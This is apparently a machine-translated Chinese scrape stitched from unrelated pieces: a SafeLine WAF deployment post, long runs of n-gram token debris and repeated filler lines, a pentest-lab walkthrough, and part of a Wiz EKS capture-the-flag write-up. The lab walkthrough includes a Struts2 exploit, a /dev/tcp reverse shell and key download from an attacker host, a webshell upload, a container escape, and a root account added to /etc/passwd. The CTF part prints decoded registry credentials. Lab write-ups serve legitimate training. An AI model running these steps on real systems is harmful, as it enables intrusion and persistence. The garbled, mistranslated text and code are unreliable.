龙门阵

当所有业务都部署在云服务器上时，企业正在寻找WAF防护解决方案，包括一系列早期商用和开源的WAF试部署回滚等操作。最后，他们终于在雷驰WAF上获得了更好的适应性，并且不影响业务。 （肯定还有其他可行的方案，但是开源+适配，就不需要横向比较了） 雷驰的一些简单介绍 我个人理解，雷驰WAF和安恒、奇安信等一般成熟商业WAF肯定是有区别的。后一种WAF一般是成熟的网站流量安全解决方案，而雷驰WAF更像是桌面电脑的CPU。它为你提供了核心计算能力和核心实现，但整体解决方案如何组合在一起完全取决于玩家个人的做法。 规则 WAF的核心安全拦截率肯定是基于规则的。迅雷矿池的规则目前是社区版本4.2.0，是在包含所有常见漏洞特征的前提下，然后逐步添加详细的漏洞规则，即特定CVE和漏洞利用的识别（听说后面可以自定义规则）。这对于最初构建安全架构的场景来说绝对足够了。 黑名单 通用保护模块 漏洞CVE具体检测（不完整） 使用不便 由于它是开源的WAF，并且还在逐步迭代和优化的过程中，如果其他商业WAF能够对WAF前端操作界面进行一系列的安全操作，很多都做不到。 1、有安全意识，但无安全警报。在操作界面上可以看到所有触发规则的事件，比较敏感的操作会被拦截。普通规则触发器处于观察状态（严格程度可以自己选择），但这些只有登录雷驰管理端才能看到。如果您不登录或不观看，则不会发生任何事情。 2.没有总结/分析功能，没有类似的报告视图。下面只是一个简单的主页整体图。 3、这个雷吃waf有很多你想要的数据，但是在前端看不到（可以抓包或者在数据库中查表）。 一个简单的例子：受保护的站点可以自定义域名和网站名称，并且可以批量添加域名。这样就可以解决问题。如果一系列站点对应同一个A系统，则可以构建一个A系统，添加所有域名。右上角会有攻击量的汇总；这很好。功能，问题是：批量添加域名后，点击可以看到各个域名路径的详细请求拦截数据。域名不分类，即无论添加多少个网站，内部请求的根级路径就是路径，你看不到是哪个域名路径。但实际上数据包中包含了url-path-request/拦截量，并以json格式传输，只是这个前端函数没有写。 4、查看安全事件功能中，无法自动聚合IP、被攻击域名或攻击类型。您只能使用搜索框输入您想要查看的IP 的所有安全事件。当然，时间可以定制。 开源解决方案 这篇文章主要不详细讲Thunderpool。前面我提到了使用中的一些不便，但我也提到了Thunderpool是一个WAF。我个人认为它是开源网站流量安全防护解决方案的核心CPU。所以有了核心CPU，我们想要有的所有不便和功能都需要单独构建。这个不用担心，雷驰的适应性和兼容性极高。 那么基于此，我简单介绍一下我们尝试过的解决方案 首先，基于对安全事件进行聚合和汇总的思想，我们需要一个siem。通过如下ELK技术架构，我们可以实现一个基于雷驰waf的简单siem 其次，基于这个系统，我们可以使用elastalert或者其他工具，对es上聚合的所有安全事件进行配置报警。 （更进一步，构建开源SOC也不是不可能） 定义规则后，对一些高频、高危事件进行二次检测。如果满足规则，就会产生警报。这里我们使用企业微信机器人接口实现自动通知： 最后 本文只是简单介绍，并没有详细介绍基于雷驰的Siem、报警、总结分析的使用体验和实现。给出一个粗略的架构思想只是为了指导方向。如果您还有其他好的想法，请分享。个人认为雷池waf可玩性非常高。 当所 所有 有业 业务 务都 都部 部署 署在 在云 云服 服务 务器 器上 上时 当所有 所有业 有业务 业务都 务都部 都部署 部署在 署在云 在云服 云服务 服务器 务器上 器上时 当所有业 所有业务 有业务都 业务都部 务都部署 都部署在 部署在云 署在云服 在云服务 云服务器 服务器上 务器上时 企业 业正 正在 在寻 寻找 企业正 业正在 正在寻 在寻找 企业正在 业正在寻 正在寻找 防护 护解 解决 决方 方案 防护解 护解决 解决方 决方案 防护解决 护解决方 解决方案 包括 括一 一系 系列 列早 早期 期商 商用 用和 和开 开源 源的 包括一 括一系 一系列 系列早 列早期 早期商 期商用 商用和 用和开 和开源 开源的 包括一系 括一系列 一系列早 系列早期 列早期商 早期商用 期商用和 商用和开 用和开源 和开源的 试部 署回 回滚 滚等 等操 操作 试部署 部署回 署回滚 回滚等 滚等操 等操作 试部署回 部署回滚 署回滚等 回滚等操 滚等操作 最后 他们 们终 终于 于在 在雷 雷驰 他们终 们终于 终于在 于在雷 在雷驰 他们终于 们终于在 终于在雷 于在雷驰 上获 获得 得了 了更 更好 好的 的适 适应 应性 上获得 获得了 得了更 了更好 更好的 好的适 的适应 适应性 上获得了 获得了更 得了更好 了更好的 更好的适 好的适应 的适应性 并且 且不 不影 影响 响业 并且不 且不影 不影响 影响业 响业务 并且不影 且不影响 不影响业 影响业务 肯定 定还 还有 有其 其他 他可 可行 行的 的方 肯定还 定还有 还有其 有其他 其他可 他可行 可行的 行的方 的方案 肯定还有 定还有其 还有其他 有其他可 其他可行 他可行的 可行的方 行的方案 但是 是开 但是开 是开源 但是开源 适配 就不 不需 需要 要横 横向 向比 比较 较了 就不需 不需要 需要横 要横向 横向比 向比较 比较了 就不需要 不需要横 需要横向 要横向比 横向比较 向比较了 驰的 的一 一些 些简 简单 单介 介绍 雷驰的 驰的一 的一些 一些简 些简单 简单介 单介绍 雷驰的一 驰的一些 的一些简 一些简单 些简单介 简单介绍 我个 个人 人理 理解 我个人 个人理 人理解 我个人理 个人理解 和安 安恒 和安恒 奇安 安信 信等 等一 一般 般成 成熟 熟商 商业 奇安信 安信等 信等一 等一般 一般成 般成熟 成熟商 熟商业 奇安信等 安信等一 信等一般 等一般成 一般成熟 般成熟商 成熟商业 定是 是有 有区 区别 别的 肯定是 定是有 是有区 有区别 区别的 肯定是有 定是有区 是有区别 有区别的 后一 一种 后一种 般是 是成 熟的 的网 网站 站流 流量 量安 安全 全解 一般是 般是成 是成熟 成熟的 熟的网 的网站 网站流 站流量 流量安 量安全 安全解 全解决 一般是成 般是成熟 是成熟的 成熟的网 熟的网站 的网站流 网站流量 站流量安 流量安全 量安全解 安全解决 全解决方 而雷 而雷驰 更像 像是 是桌 桌面 面电 电脑 脑的 更像是 像是桌 是桌面 桌面电 面电脑 电脑的 更像是桌 像是桌面 是桌面电 桌面电脑 面电脑的 它为 为你 你提 提供 供了 了核 核心 心计 计算 算能 能力 力和 和核 心实 实现 它为你 为你提 你提供 提供了 供了核 了核心 核心计 心计算 计算能 算能力 能力和 力和核 和核心 核心实 心实现 它为你提 为你提供 你提供了 提供了核 供了核心 了核心计 核心计算 心计算能 计算能力 算能力和 能力和核 力和核心 和核心实 核心实现 但整 整体 体解 案如 如何 何组 组合 合在 在一 一起 起完 完全 全取 取决 决于 于玩 玩家 家个 人的 的做 做法 但整体 整体解 体解决 方案如 案如何 如何组 何组合 组合在 合在一 在一起 一起完 起完全 完全取 全取决 取决于 决于玩 于玩家 玩家个 家个人 个人的 人的做 的做法 但整体解 整体解决 体解决方 决方案如 方案如何 案如何组 如何组合 何组合在 组合在一 合在一起 在一起完 一起完全 起完全取 完全取决 全取决于 取决于玩 决于玩家 于玩家个 玩家个人 家个人的 个人的做 人的做法 规则 的核 心安 全拦 拦截 截率 率肯 是基 基于 于规 则的 的核心 核心安 心安全 安全拦 全拦截 拦截率 截率肯 率肯定 定是基 是基于 基于规 于规则 规则的 的核心安 核心安全 心安全拦 安全拦截 全拦截率 拦截率肯 截率肯定 率肯定是 肯定是基 定是基于 是基于规 基于规则 于规则的 迅雷 雷矿 矿池 池的 的规 则目 目前

文章长度：0太短了，请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源

文章长度：0太短了，请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源

文章长度：0太短了，请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源

文章长度：0太短了，请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源

文章长度：0太短了，请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源

文章长度：0太短了，请勿浪费资源 文章 章长 长度 文章长 章长度 文章长度 太短 短了 太短了 请勿 勿浪 浪费 费资 资源 请勿浪 勿浪费 浪费资 费资源 请勿浪费 勿浪费资 浪费资源

#射击场检查点 ## MS14-068 漏洞 MS14-068是一个众所周知的Windows Kerberos安全漏洞，允许攻击者篡改Kerberos票证以获得非法权限升级。此漏洞特别影响Windows 域控制器，并允许攻击者伪造Kerberos 票证并获得对域中几乎所有帐户的访问权限，包括域管理员权限。这使得攻击者可以随意访问和控制网络中的资源 ## MS17010 漏洞 MS17-010又名“永恒之蓝”，是指美国国家安全局（NSA）于2017年发现并由Shadow Brokers黑客组织披露的一系列Windows操作系统安全漏洞。这些漏洞影响Windows 的服务器消息块(SMB) 协议，这是一种用于Windows 域中的文件共享、打印机共享和其他通信的网络协议。 该漏洞的主要问题在于，它允许未经身份验证的攻击者远程执行任意代码并获得对系统的完全控制，使其成为勒索软件和网络蠕虫等恶意软件的理想传播媒介。利用此漏洞的最著名的攻击是2017 年的WannaCry 勒索软件事件，该事件影响了全球数十万台计算机，并造成了重大财务损失和运营中断。 ## Strust2 漏洞 Apache Struts 2 是一种流行的开源框架，用于创建企业级Java Web 应用程序。 Struts2 漏洞通常涉及远程代码执行，允许攻击者通过发送特制的HTTP 请求来控制或危害目标服务器。 ## CVE-2017-12615 漏洞 CVE-2017-12615 是Apache Tomcat 中发现的一个安全漏洞。该漏洞存在于Tomcat的某些版本中，允许攻击者使用HTTP PUT请求上传恶意JSP文件，然后执行这些文件。这通常是由不正确的配置或不安全的默认设置引起的。以下是该漏洞的一些关键点： 1. **受影响的版本**：受影响的是Apache Tomcat 版本7.0.0 至7.0.79。在Tomcat 7 的某些实现中发现了该问题，后续版本修复了该问题。 2. **漏洞详情**：默认情况下，Tomcat允许使用HTTP PUT方法上传文件。该漏洞利用Tomcat 的这一行为，允许攻击者上传包含恶意代码的JSP 文件。然后，攻击者可以通过访问这些上传的文件来执行服务器端代码。 3. **攻击原理**：攻击者向服务器发送特殊构造的PUT请求。该请求包含恶意JSP 文件的内容。如果服务器配置不正确，攻击者上传的文件可以被服务器接受并保存在可访问的目录中。上传文件后，攻击者可以访问JSP文件来执行服务器端代码，这可能会导致信息泄露和服务器控制。 4. **修复和缓解**：修复此漏洞的主要方法是更新到Apache Tomcat的最新版本，或者至少是不存在此漏洞的安全版本。此外，管理员还可以配置禁用HTTP PUT方法或增强文件上传位置的安全性，以降低遭受攻击的风险。 ## CVE-2018-12163 漏洞 CVE-2018-12613是在phpMyAdmin中发现的安全漏洞。 phpMyAdmin是一款流行的、基于Web的MySQL数据库管理工具，广泛用于管理数据库，包括数据库访问、修改、备份等功能。该漏洞具体涉及本地文件包含（LFI）漏洞，该漏洞允许攻击者根据攻击者的意图和系统配置远程执行代码或读取系统文件。 #射击场建设 ## 机器配置 机器IP网段用户和密码ubuntu(web)192.168.47.186 192.168.183.128ubuntu：ubuntuWindowServer2008（DC） 192.168.183.130administrator：Test2008（我将其更改为qQ123456）Win7（域中的成员机器） 192.168.183.129douser：Dotest123 ## 服务配置 使用docker ps -a 列出当前docker 镜像ID，然后使用docker start [ID] 启动前三个镜像ID # 外部网络管理 ## 信息收集 使用nmap扫描Web机器的开放端口：`nmap -p- 192.168.47.186 -A` 根据以上扫描结果，汇总信息如下表所示 端口服务攻击面22/tcpOpenSSH6.6.1，旧版本常用于远程安全登录暴力破解，旧版本SSH 漏洞2001/tcpJetty 9.2.11.v20150529，轻量级Java HTTP 服务器和servlet 容器旧版本Struts2 漏洞2002/tcpApache Tomcat 8.5.19，广泛使用的开源Java servlet 容器，页面标题为“Apache Tomcat/8.5.19” 配置不当或已知漏洞2003/tcpApache httpd 2.4.25，一款非常流行的开源Web服务器软件，扫描发现旧版本的robots.txt漏洞或配置问题 ## 漏洞利用 ### struts2漏洞 访问`http://192.168.47.186:2001/`，发现是文件上传页面。我随便上传一个图片文件，页面返回一个链接。 `http://192.168.47.186:2001/doUpload.action;jsessionid=1ljs4kw9xe4pukufqkw6zb11d`不返回上传文件的路径 使用【STS2G】(https://github.com/xfiftyone/STS2G)扫描器扫描Struts2漏洞，发现`Strus2-045`漏洞（该漏洞存在于Struts2的文件上传功能中，攻击者可以通过修改HTTP头来执行任意代码） 尝试利用该漏洞远程执行Linux命令。命令执行成功，返回执行结果。通过检查Web服务当前目录，发现目标主机处于docker环境 尝试反弹目标系统外壳。 Kali打开ncj监听本机的4444端口。反弹成功，获得非交互式shell。 ```` /bin/bash -i /dev/tcp/192.168.47.183/4444 01 `` 发现目标系统的python版本为2.7 执行以下命令获得一个相对交互式的shell ```` python -c '导入pty;pty.spawn(\'/bin/bash\')' `` 查看`/etc/passwd`和`/etc/shadow`的内容可以看到，这些账户要么没有密码，要么被禁止登录。当然，这是因为反弹回来的shell是在docker环境中的。稍后我们需要执行docker escape。 ### CVE-2017-12615 访问`http://192.168.47.186:2002`，页面显示Apache Tomcat的版本为8.5.19，该版本存在`CVE-2017-12615`漏洞 使用BurpSuite抓包，将请求方法更改为“PUT”并向目标服务器发送“/test”请求。服务器返回204状态码，表示请求成功。虽然没有返回任何内容，但服务器的204响应通常意味着文件已成功创建或修改 访问`/test`页面，页面成功显示我们上面提交的内容，说明这个漏洞可以被利用 修改提交内容为Godzilla生成的webshell内容，上传文件名为`shell.jsp/`（最后加一个`/`是为了防止服务器过滤关键字） 稍后可以在Godzilla命令行终端远程执行Linux命令 ### CVE-2018-12613 好像是环境设置的时候出了问题，所以没有修复。 ## Docker 逃逸 ### 检查是否在docker容器中 Docker 容器内通常有一个名为“.dockerenv”的文件。可以使用命令ls /.dockerenv 检查这个文件是否存在 使用`hostname`命令查看当前主机名，如果看起来像容器ID（长字符串的哈希值），则可能在容器中 Docker 将使用“cgroup”进行资源隔离。您可以查看`/proc/1/cgroup`文件的内容。如果出现\'docker\'关键字，则说明你当前处于dokcer容器中 具体的环境变量通常在Docker容器中设置。可以通过`env`命令查看环境变量，看看是否有与Docker相关的变量。例如下图中，`JAVA_HOME`设置为`/docker-java-home/jre`，通常是Docker容器中设置的路径 使用`df -h`命令显示当前环境中已挂载的文件系统的信息 - Docker 容器中通常使用“overlay”文件系统类型来覆盖容器文件系统。 - `tmpfs` 挂载是Docker 容器使用的cgroup 文件系统的典型设置，用于提供临时文件存储和容器隔离。 - `/dev/sda1` 挂载在`/etc/hosts` 中，这意味着主机的`/etc/hosts` 文件被挂载到容器中，用于控制容器对网络主机的了解。 - `shm` 大小设置为64M，这是Docker 容器的默认设置，为容器内运行的进程提供共享内存 ### 实施转义 使用“fdisk -l”命令查看磁盘分区表信息。可以发现该磁盘分为三个分区。 sda1是包含Linux文件系统的分区，通常是可挂载的； sda2 是扩展分区，sda5 是虚拟内存的交换分区。两个分区均无法安装 由于docker中的shell具有root权限，因此我们可以挂载`/dev/sda1`分区。分区挂载后，对挂载点目录的任何操作都是对`/dev/sda1`分区的操作。简单来说就是可以通过容器来操作主机 ```` mkdir /黑客 mount /dev/sda1 /hacker #将sda1分区挂载到/hacker目录 `` ## 通过SSH 连接网络机器的三种方式 ### 1.伪造ssh 密钥 进入用户目录，查看当前所有文件（包括隐藏文件），发现有一个隐藏目录`.ssh`，该目录用于存放用户配置文件以及SSH协议相关的认证文件，例如用于SSH密钥认证的私钥和公钥 进入`.ssh`目录并找到`id_rsa`和`id_rsa.pub`文件。这两个文件分别是SSH的私钥和公钥。 在SSH协议中，如果想要远程登录服务器上的某个用户，就需要该用户的私钥。当您使用私钥登录时，服务器会使用对应的公钥来验证您持有的私钥。如果验证成功，将允许您无需输入密码即可登录，并且公钥通常添加到服务器上的特定文件中，例如`~/.ssh/authorized_keys` 我们可以使用kali 中的ssh-keygen 命令来创建SSH 密钥。 “-f”参数用于指定生成的密钥文件的名称路径。然后系统会提示您输入密码（关键短语）。这是一个可选步骤。如果添加的话，可以提高密钥的安全性。如果私钥落入他人手中，他们也需要知道密钥短语才能使用私钥。 ```` ssh-keygen -f mykey `` 然后将在当前目录中生成私钥和公钥文件。我们需要将公钥放在目标服务器上 使用wget命令将公钥上传到目标服务器的.ssh目录，将文件名更改为authorized_keys，并将其权限修改为600 ```` wget http://192.168.47.188:8000/mykey.pub mv mykey.pub 授权密钥 chmod 600 授权密钥 `` 然后使用kali中对应的私钥连接目标主机的ubuntu用户。 ```` ssh -i mykey [email protected] ```` ### 2.密码爆破 查看目标主机的`/etc/shadow`文件内容，复制到kali中使用`john`命令爆破，成功获取`ubuntu`用户的密码 然后使用ssh远程登录目标主机 检查ubuntu用户的权限，发现拥有所有权限 ### 3.创建用户 除了以上两种方法可以实现远程SSH连接目标主机外，还可以直接将root权限的用户写入`/etc/passwd`和`/etc/shadow`中。比如这里我写了一个`hacker`用户，密码是`qq123456` ```` echo 'hacker:x:0:0:/home/hacker:/bin/bash' /hacker/etc/passwd 回声'hacker:$6$d2ABl4.a$1I0lpjZuR/DIU6o/awc904ewsr643Qsss6QqSf8Q7.yUQ9QFNQx6eJQ'/hacker/etc/shadow ```` 射击 击场 场检 检查 查点 射击场 击场检 场检查 检查点 射击场检 击场检查 场检查点 漏洞 是一 一个 个众 众所 所周 周知 知的 是一个 一个众 个众所 众所周 所周知 周知的 是一个众 一个众所 个众所周 众所周知 所周知的 安全 全漏 安全漏 全漏洞 安全漏洞 允许 许攻 攻击 击者 者篡 篡改 允许攻 许攻击 攻击者 击者篡 者篡改 允许攻击 许攻击者 攻击者篡 击者篡改 票证 证以 以获 获得 得非 非法 法权 权限 限升 升级 票证以 证以获 以获得 获得非 得非法 非法权 法权限 权限升 限升级 票证以获 证以获得 以获得非 获得非法 得非法权 非法权限 法权限升 权限升级 此漏 洞特 特别 别影 影响 此漏洞 漏洞特 洞特别 特别影 别影响 此漏洞特 漏洞特别 洞特别影 特别影响 域控 控制 制器 域控制 控制器 域控制器 并允 者伪 伪造 并允许 击者伪 者伪造 并允许攻 攻击者伪 击者伪造 证并 并获 得对 对域 域中 中几 几乎 乎所 所有 有帐 帐户 户的 的访 访问 问权 票证并 证并获 并获得 获得对 得对域 对域中 域中几 中几乎 几乎所 乎所有 所有帐 有帐户 帐户的 户的访 的访问 访问权 问权限 票证并获 证并获得 并获得对 获得对域 得对域中 对域中几 域中几乎 中几乎所 几乎所有 乎所有帐 所有帐户 有帐户的 帐户的访 户的访问 的访问权 访问权限 包括 括域 域管 管理 理员 员权 包括域 括域管 域管理 管理员 理员权 员权限 包括域管 括域管理 域管理员 管理员权 理员权限 这使 使得 得攻 者可 可以 以随 随意 意访 问和 和控 制网 网络 络中 中的 的资 资源 这使得 使得攻 得攻击 击者可 者可以 可以随 以随意 随意访 意访问 访问和 问和控 和控制 控制网 制网络 网络中 络中的 中的资 的资源 这使得攻 使得攻击 得攻击者 攻击者可 击者可以 者可以随 可以随意 以随意访 随意访问 意访问和 访问和控 问和控制 和控制网 控制网络 制网络中 网络中的 络中的资 中的资源 又名 永恒 恒之 之蓝 永恒之 恒之蓝 永恒之蓝 是指 指美 美国 国国 国家 家安 全局 是指美 指美国 美国国 国国家 国家安 家安全 安全局 是指美国 指美国国 美国国家 国国家安 国家安全 家安全局 年发 发现 现并 并由 年发现 发现并 现并由 年发现并 发现并由 黑客 客组 组织 织披 披露 露的 的一 一系 系列 黑客组 客组织 组织披 织披露 披露的 露的一 的一系 一系列 黑客组织 客组织披 组织披露 织披露的 披露的一 露的一系 的一系列 操作 作系 系统 统安 操作系 作系统 系统安 统安全 操作系统 作系统安 系统安全 统安全漏 这些 些漏 洞影 这些漏 些漏洞 漏洞影 洞影响 这些漏洞 些漏洞影 漏洞影响 的服 服务 务器 器消 消息 息块 的服务 服务器 务器消 器消息 消息块 的服务器 服务器消 务器消息 器消息块 协议 这是 一种 种用 用于 这是一 是一种 一种用 种用于 这是一种 是一种用 一种用于 的文 文件 件共 共享 域中的 中的文 的文件 文件共 件共享 域中的文 中的文件 的文件共 文件共享 打印 印机 机共 享和 和其 其他 他通 通信 信的 的网 络协 打印机 印机共 机共享 共享和 享和其 和其他 其他通 他通信 通信的 信的网 的网络 网络协 络协议 打印机共 印机共享 机共享和 共享和其 享和其他 和其他通 其他通信 他通信的 通信的网 信的网络 的网络协 网络协议 该漏 洞的 的主 主要 要问 问题 题在 在于 该漏洞 漏洞的 洞的主 的主要 主要问 要问题 问题在 题在于 该漏洞的 漏洞的主 洞的主要 的主要问 主要问题 要问题在 问题在于 它允 许未 未经 经身 身份 份验 验证 证的 的攻 者远 远程 程执 执行 行任 任意 意代 代码 码并 对系 统的 的完 完全 全控 它允许 允许未 许未经 未经身 经身份 身份验 份验证 验证的 证的攻 的攻击 击者远 者远程 远程执 程执行 执行任 行任意 任意代 意代码 代码并 码并获 得对系 对系统 系统的 统的完 的完全 完全控 全控制 它允许未 允许未经 许未经身 未经身份 经身份验 身份验证 份验证的 验证的攻 证的攻击 的攻击者 攻击者远 击者远程 者远程执 远程执行 程执行任 执行任意 行任意代 任意代码 意代码并 代码并获 码并获得 获得对系 得对系统 对系统的 系统的完 统的完全 的完全控 完全控制 使其 其成 成为 为勒 勒索 索软 软件 件和 和网 络蠕 蠕虫 虫等 等恶 恶意 意软 件的 的理

近日，WIZ举办了云原生安全挑战赛。刚出来的时候我就已经通过了。年底很忙，没有时间写文章记录整个过程。我发现这个挑战太经典了，所以我决定写一篇文章来记录一下，谈谈我从中学到的东西和感悟。 射击场地址：https://eksclustergames.com/ ## 前言 射击场的环境假设您侵入一个低权限的AWS EKS Pod 并在该Pod 中查找Flags。每个挑战都在具有不同权限的不同Kubernetes 命名空间中运行。总共有5个级别。 ## 1. 秘密探索者通过列出集群中的所有秘密来快速启动您的任务。你能发现其中的旗帜吗？ ```` { \'秘密\': [ '得到', \'列表\' ] } ```` 这个问题给出了相应的权限。发现secret有get和list权限，我们尝试读取一下。 ```` root@wiz-eks-challenge:~# kubectl 获取秘密log-rotate -o yaml api版本: v1 数据: 标志: d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ== kind: 秘密 元数据: 创建时间戳: \'2023-11-01T13:02:08Z\' name: 日志旋转 命名空间: 挑战1 资源版本: \'890951\' uid: 03f6372c-b728-4c5b-ad28-70d5af8d387c type: 不透明 ```` 我们可以很容易地看出log-rotate中有一个flag，经过Base64解码后，我们可以得到真正的Flag。 wiz_eks_challenge{omg_over_privileged_secret_access} 本题的测试点是关于K8s的秘密。 Secret 用于存储敏感数据，例如密码、令牌或密钥。这类数据可以存储在Pod或镜像中，但放在Secret中是为了更方便地控制数据的使用方式，降低暴露风险。 但如果权限控制做得不好，攻击者可能会从秘密中获取敏感信息。更重要的是，在秘密中使用Base64编码并不安全。 ## 2. 注册表搜寻我们在研究过程中了解到的一件事: 总是检查容器注册表。 为了您的方便，起重机实用程序已预安装在机器上。 ```` { \'秘密\': [ '得到' ], \'豆荚\': [ \'列表\', '得到' ] } ```` 如果第一个问题是登录问题，那么第二个问题就会变得有点困难。在此权限下，我们无法像第一个问题那样列出机密，但我们获得了pod 的部分权限。 （图1：无法列出秘密） 那么我们先来看看Pod 里有什么？ ```` root@wiz-eks-challenge:~# kubectl get pods -o yaml api版本: v1 项目: - api版本: v1 kind: 吊舱 元数据: 注释: kubernetes.io/psp: eks.privileged pulumi.com/autonamed: \'true\' 创建时间戳: \'2023-11-01T13:32:05Z\' name: 数据库-pod-2c9b3a4e 命名空间:挑战2 资源版本: \'12166896\' uid: 57fe7d43-5eb3-4554-98da-47340d94b4a6 规格: 容器: - image: eksclustergames/base_ext_image imagePullPolicy: 始终 name: 我的容器 资源: {} TerminationMessagePath: /dev/termination-log TerminationMessagePolicy: 文件 卷安装: - mountPath: /var/run/secrets/kubernetes.io/serviceaccount name: kube-api-access-cq4m2 readOnly: 真 dnsPolicy: 集群优先 启用ServiceLinks: 真 imagePullSecrets: - name: 注册表拉秘密-780bab1d nodeName: ip-192-168-21-50.us-west-1.compute.internal preemptionPolicy: PreemptLowerPriority 优先级: 0 restartPolicy: 始终 SchedulerName: 默认调度程序 securityContext: {} serviceAccount: 默认 serviceAccountName: 默认值 终止宽限期秒: 30 公差: -effect: 不执行 key: node.kubernetes.io/not-ready 操作员: 存在 容忍秒: 300 -effect: 不执行 key: node.kubernetes.io/unreachable 操作员: 存在 容忍秒: 300 卷: - name: kube-api-access-cq4m2 预计: 默认模式: 420 来源: - serviceAccountToken: 过期秒数: 3607 path: 令牌 -configMap: 项目: - key: ca.crt 路径: ca.crt name: kube-root-ca.crt - 向下API: 项目: -fieldRef: api版本: v1 fieldPath: 元数据.命名空间 path: 命名空间 状态: 条件: -lastProbeTime: 空 lastTransitionTime: \'2023-11-01T13:32:05Z\' status: \'真实\' type: 已初始化 -lastProbeTime: 空 lastTransitionTime: \'2023-12-07T19:54:26Z\' status: \'真实\' 类型: 就绪 -lastProbeTime: 空 lastTransitionTime: \'2023-12-07T19:54:26Z\' status: \'真实\' type: ContainersReady -lastProbeTime: 空 lastTransitionTime: \'2023-11-01T13:32:05Z\' status: \'真实\' type: PodScheduled 容器状态: -containerID:containerd://8010fe76a2bcad0d49b7d810efd7afdecdf00815a9f5197b651b26ddc5de1eb0 image: docker.io/eksclustergames/base_ext_image:latest imageID: docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623 最后状态: 终止: 容器ID: 容器d://b427307b7f428bcf6a50bb40ebef194ba358f77dbdb3e7025f46be02b922f5af 退出代码: 0 FinishAt: \'2023-12-07T19:54:25Z\' Reason: 已完成 开始于: \'2023-11-01T13:32:08Z\' name: 我的容器 Ready: 真 重新启动计数: 1 开始: 正确 状态: 正在运行: 开始于: \'2023-12-07T19:54:26Z\' 主机IP: 192.168.21.50 Phase: 运行 podIP: 192.168.12.173 podIPs: -ip: 192.168.12.173 qosClass: 尽力而为 startTime: \'2023-11-01T13:32:05Z\' kind: 列表 元数据: 资源版本: \'\' ```` 这里我们重点关注imagePullSecrets，它是一种用于在Kubernetes 集群中拉取私有Docker 镜像的机制。在Kubernetes 中，Pod 可以通过imagePullSecrets 配置项指定一个或多个凭据进行身份验证，以访问私有Docker 镜像存储库。这对于需要访问私有镜像的场景非常有用，因为它允许Kubernetes 集群中的Pod 在从私有存储库拉取镜像时提供必要的凭据。 imagePullSecrets 通常包含一个或多个Docker 注册表凭据，包括用户名、密码和其他信息。这些凭证被加密存储在Kubernetes 集群中，并在Pod 启动时自动注入到相应的容器中，以便访问需要身份验证的私有镜像。 简单来说，我还是可以读取注册表、用户名和密码，这些都是用来拉取镜像信息的。 ```` root@wiz-eks-challenge:~# kubectl 获取秘密registry-pull-secrets-780bab1d --namespace=challenge2 -o json { \'apiVersion\': \'v1\', '数据': { \'.dockerconfigjson\': \'eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRo YldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19\' }, \'善良\': \'秘密\', \'元数据\': { \'注释\': { \'pulumi.com/autonamed\': \'true\' }, \'创建时间戳\': \'2023-11-01T13:31:29Z\', \'名称\': \'registry-pull-secrets-780bab1d\', \'命名空间\': \'挑战2\', \'resourceVersion\': \'897340\', \'uid\': \'1348531e-57ff-42df-b074-d9ecd566e18b\' }, \'类型\': \'kubernetes.io/dockerconfigjson\' } ```` 我们对生成的.dockerconfigjson 进行Base64 解码。 ```` {\'auths\': {\'index.docker.io/v1/\': {\'auth\': \'ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw==\'}}} ```` 然后我们第二次执行Base64 解码。 ```` eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo ```` 至此，我们已经获得了注册表、用户名和密码。问题提示我们已经安装了起重机。看来我们的想法是正确的。我们直接使用凭据登录。 ```` 起重机身份验证登录index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo ```` 提示登录成功，然后我们使用crane config信息查看镜像信息，直接找到Flag。 ```` root@wiz-eks-challenge:~# 起重机配置eksclustergames/base_ext_image:latest {\'架构\':\'amd64\',\'配置\':{\'Env\':[\'PATH=/usr/local/sbin:/usr/local/bi n:/usr/sbin:/usr/bin:/sbin:/bin\'],\'Cmd\':[\'/bin/sleep\',\'3133337\'],\'ArgsEsc aped\':true,\'OnBuild\':null},\'已创建\':\'2023-11-01T13:32:18.920734382Z\',\'hi故事\':[{\'创建\':\'2023-07-18T23:19:33.538571854Z\',\'created_by\':\'/bin/sh -c #(nop) ADD文件:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1/\'},{\'创建\':\'2023-07-18T23:19:33.655005962Z\',\'创建者\':\'/bin/sh -c #(nop) CMD [\\\'sh\\\']\',\'empty_layer\':true},{\'创建\':\'2023-11-01T13:32:18.920734382Z\',\'created_by\':\'RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_ except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' \\u003e /flag.txt # buildkit\',\'注释\':\'buildkit.dockerfile.v0\'},{\'创建\':\'2023-11-01T13:32:18.920734382Z\',\'created_by\':\'CMD [\\\'/bin/sleep\\\' \\\'3133337\\\']\',\'comment\':\'buildkit.dockerfile.v0\',\'empty_layer\': 